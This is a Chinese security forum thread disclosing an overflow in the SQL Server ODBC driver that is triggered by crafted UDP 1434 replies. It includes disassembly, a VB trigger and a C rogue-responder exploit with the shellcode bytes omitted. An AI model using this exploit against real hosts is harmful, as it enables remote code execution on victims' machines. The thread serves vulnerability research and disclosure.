|
![]() | 作者: flashsky [flashsky]
![]() |
登录 |
转摘请注明作者和安全焦点 作者:FLASHSKY SITE:WWW.XFOCUS.NET 邮件:flashsky@xfocus.org 发现的MS的SQL SERVER ODBC驱动中存在一个堆溢出漏洞,攻击者可以通过这个漏洞,发送精心组织的数据包就可以达到远程控制任何通过SQL SERVER ODBC列举SQL SERVER服务器的主机。 以下主要是对中文W2K SERVER+SP3的自带的ODBC驱动进行的研究,其他平台未测试。英文版的ODBC连接好象不出这个问题,因为他不会调用MultiByteToWideChar这个API处理所有字节。 溢出主要发生在SQLSVR32。DLL和DBNETLIB。DLL中。当通过UDP1434端口列举出网络所有存在的SQL SERVER的服务器的时候,MS SQL SERVER ODBC驱动处理方式是先接收到所有UDP回馈包。 处理过程在:74CB70CB call ds:__imp_recvfrom 接收1434的UDP的包 然后,SQL SERVER会分配一个堆,用于MultiByteToWideChar函数将所有返回回来的包进行字节转换,问题就是出在这,建立堆的大小是由如下代码指定分配的: .text:411B04EC push 0Ch .text:411B04EE push 64h .text:411B04F0 push 3E8h .text:411B04F5 push eax .text:411B04F6 call sub_41165300 41165300:调入进行堆分配 堆的大小由0X3E8h * 0C计算出来的 但是在以后的这个堆的使用过程中,只是根据每次包的大小动态的移动指针,然后调用MultiByteToWideChar将接收到的包的内容写到堆中去,而不检查是否超出了堆的大小: 74cb7301:进行多字节转换 这样一个攻击者可以针对一个UDP请求发起N个UDP回馈包,只要使得总长度大于这个堆大小就能引发堆溢出: 下面是一个简单的引发堆溢出发生的VB代码: 先建立一个udp的winsocket控件,绑定1434端口进行监听。 Dim str As String Dim str1 Dim i Winsock1.GetData str str1 = "" & Chr(5) & Chr(&HFF) & Chr(&H9) ‘最动只能0x1000大小的包 str1 = str1 & str(4092,"2") For i = 1 To 200 Winsock1.SendData str1 Next 这样,当一个UDP请求到达时候就会发出200个4095字节的UDP包就会导致请求的ODBC的堆溢出。然后你在另一台局域网的某台机器上的管理工具中打开ODBC管理程序,选择一个SQL SERVER的系统DSN,然后在列出下拉SQL SERVER服务器的时候就会引发这个溢出,由于这个传来的代码没有含有特殊的字串,因此程序只会异常退出,其实跟踪一下程序会发现不仅仅引发了异常,而且足够多的数据还可以覆盖异常结构中的异常处理地址,导致最后程序的执行点跳转到0x32003200上(因为传过去溢出字串是'2',asc代码是0x32,而经过MultiByteToWideChar处理以后,被覆盖掉的异常处理程序地址就成了0x32003200了),如果能精心构造传过去的字符内容,就可以达到远程控制主机的目的。 这个溢出主要是在sqlsrv32和dbnetlib中,一般使用odbc管理器,sql server client和自己写的应用程序调用了dbnetlib对应的列举SQL SERVER服务器的对应API都能利用。 当然要利用这个溢出还需要很多其他的研究,因为要考虑的问题比较多,因为同时还有其他的SQL SERVER给予对方发出UDP包应答,你无法精确定位你传过去的字符串的位置,同时因为要发大量的包才能达到溢出的目的,而UDP包也不一定能保证收到的包是按你发出的包的大小定位的。怎么有效利用还有待于进一步的研究。另外由于这个堆中的内容都是被MultiByteToWideChar这个函数处理过,其内容针对ASC编码会加上00,所以在跳转地址的构造和SHELLCODE的构造上都需要更精心的处理,利用起来有一定难度。 [此贴被 闪空(flashsky) 在 9月23日17时53分 编辑过] |
地主 发表时间: 9/23 17:3 |
![]() | 回复: flashsky [flashsky] ![]() |
登录 |
改正错误,实际上是一个堆栈溢出 为我这种没自己研究就匆忙说话的不严谨的作风道歉 其实是这段代码产生了溢出:在sqlsvr32.dll中,主要作用是对包数据进行分析的。 .text:411B06A5 mov edx, [esp+10h] .text:411B06A9 mov ecx, 0FAh .text:411B06AE xor eax, eax .text:411B06B0 lea edi, [esp+10h+arg_1C] .text:411B06B4 repe stosd .text:411B06B6 lea ecx, [edx+edx] .text:411B06B9 mov esi, ebp .text:411B06BB mov eax, ecx .text:411B06BD lea edi, [esp+10h+arg_1C] .text:411B06C1 shr ecx, 2 .text:411B06C4 repe movsd 这段代码把原来的堆中的数据到拷贝到堆栈,但是其划分的依据是一个";"作为分界符号,而这个分配的空间是有限的,在01740(6000)给字节的地方会覆盖返回地址。如果你发送几个包,只要在堆中位置连续且不存在";"和0x00,0x00,且大于6000(因为UNICODE处理以后会加倍)则会导致溢出。 利用这个溢出需要考虑如下问题: 1。地址覆盖,因为是要被unicode处理,覆盖的地址要满足转化条件 2。SHELLCODE需要是满足unicode的 3。由于要覆盖和得到UNICODE SHELL需要有大量数据发送,但包接收只接受0x1000的字节,所以需要多包发送,但是由于前面贴出的且堆处理格式,只以包乘2算位置,如果前面的包转换成unicode不是完全满足,包的中间要存在多个0x00,如果存在0x00,0x00这无法被连续拷贝。所以前面的包一定要是ASC的包,这也限制的要覆盖地址的类型的选择。 4。要防备其他 sql server服务器也发包,如果在中间会导致截断。 问题一通过跟踪发现,其堆栈位置大致是在0x6a000左右,因此可以设置地址0x00070007为覆盖的地址,我在多种情况下测试基本是可行的。问题二是利用isno的编码unicode的方法,在程序开始的时候再解码成正式代码。我用的就是isno写的一个unicode shellcode,跟踪发现程序运行很好,可以有效饶过unicode,不过shellcode中的饶过异常处理还是存在问题,我溢出产生,正确跳转和解码以后,执行到后面还是被异常捕获了。这个shellcode可能还是需要改进。问题三是前面全部发送asc的代码,只在最后一个包发送可解码的shellcode。问题四则是前面发正常包,并适当延时来解决。 下面由于shellcode是isno写的,这里就不列出了:另外望高手指点几个问题: 1。由于前面说的原因的限制,覆盖地址只能选择硬编码,有没有更好的方案,特别是覆盖地址是必须满足传过去的代码经过MultiByteToWideChar处理以后扩展成2倍,否则会导致堆中出现0x00而截断后面的shellcode。 2。现在的shellcode还是不能很好的捕获异常,关于这方面我的了解有限,有没有更多关于异常在程序运行时的结构的资料。 #include <winsock2.h> #include <windows.h> void main() { unsigned char buffer[4096]; unsigned char bufhead[3]={5,0xfc,0xf}; unsigned char buf1 []="ServerName;11111111;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;\\\\11111111\\pipe\\sql\\query;;"; //用于伪装正常包,进行延时,最后在发送溢出包,使不被其他的包导致再堆中的中断。 unsigned char buf2 [4092]; unsigned char buf3 [4092]; unsigned char sendbuf [0x1000]; unsigned char temp; WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; HANDLE listener; int e; int i; int sendlen; DWORD a1; const int SNDBUF = 0; const int TCPNODELAY = TRUE; const int BROADCAST = TRUE; struct sockaddr_in udpfrom; int udpfromlen = sizeof(udpfrom); int n ; unsigned char shellend[4] = {0x4e,0x4e,0,0}; //用于标记shellcode结束的 unsigned char shellcode1[]= //略去,是isno写的 unsigned char shellcodehead[70]= //略去,是isno写的,用于解码shellcode用 if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf(\"WSAStartup error.Error:%d\\n\",WSAGetLastError()); return FALSE; } if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET) { printf(\"Socket failed.Error:%d\\n\",WSAGetLastError()); return FALSE; } sendlen = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellcodehead,-1,sendbuf,0x1000,NULL,NULL); //把解码的代码转化,这样在对方的MultiByteToWideChar处理下,正好获得我们想要的解码代码 sendlen--; memcpy(sendbuf+sendlen,shellcode1,sizeof(shellcode1)); sendlen = sendlen+sizeof(shellcode1); //加上一段被编码的unicode。 sendlen--; i = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellend,-1,sendbuf+sendlen,0x10,NULL,NULL); sendlen = sendlen +i-1; //以上构造了一个完整的可自我解码的shellcode memset(buf3,0x4,4092); //由于分多包发送,前面的必须只能是128以下的字符,其考虑加零情况的汇编 这个缓冲是等同于NOP操作的,被unicode编码以后的汇编是:add ax,0 memset(buf2,7,4092); //设置溢出地址覆盖的缓冲 buf2[3000]=8; //覆盖地址成为 0x070008,由于是asc码,被MultiByteToWideChar处理以后长度正好是6000,覆盖返回地址 addr_in.sin_family=AF_INET; addr_in.sin_port=htons(1434); addr_in.sin_addr.S_un.S_addr=inet_addr(\"192.168.0.60\"); n = bind(sock,(SOCKADDR*)&addr_in,sizeof(addr_in)); //监听1434 UDP端口 if(n!=0) { e= WSAGetLastError(); return -1; } //有人在使用 n = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&udpfrom, &udpfromlen); *((WORD *)(bufhead+1))=sizeof(buf1)-1; memcpy(buffer,bufhead,3); memcpy(buffer+3,buf1,sizeof(buf1)-1);//进行时间延长,避免包被其他的打断 for(i=0;i<4;i++) { n = sendto(sock, buffer,sizeof(buf1)+2, 0,(struct sockaddr *)&udpfrom, &udpfromlen); Sleep(100); } //以上发送4个正常的包,并进行延时,保证其他的SQL SERVER已经回复完,自己下面发的包不被其他的包截断 *((WORD *)(bufhead+1))=4092; memcpy(buffer,bufhead,3); memcpy(buffer+3,buf2,4092);//发送地址覆盖的包 n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen); *((WORD *)(bufhead+1))=4092; memcpy(buffer,bufhead,3); memcpy(buffer+3,buf3,4092);//发送空指令包,保证其最终可以跳转到有效地址上来。 for(i=0;i<2;i++) n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen); //写入SHELLCODE *((WORD *)(bufhead+1))=sendlen; memcpy(buffer,bufhead,3); memcpy(buffer+3,sendbuf,sendlen); n = sendto(sock, buffer, sendlen+3, 0,(struct sockaddr *)&udpfrom, &udpfromlen); WSACleanup(); return 0; } 感谢ISNO提供的UNICODE SHELL的思路和代码。 |
B1层 发表时间: 09/26 18:19 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号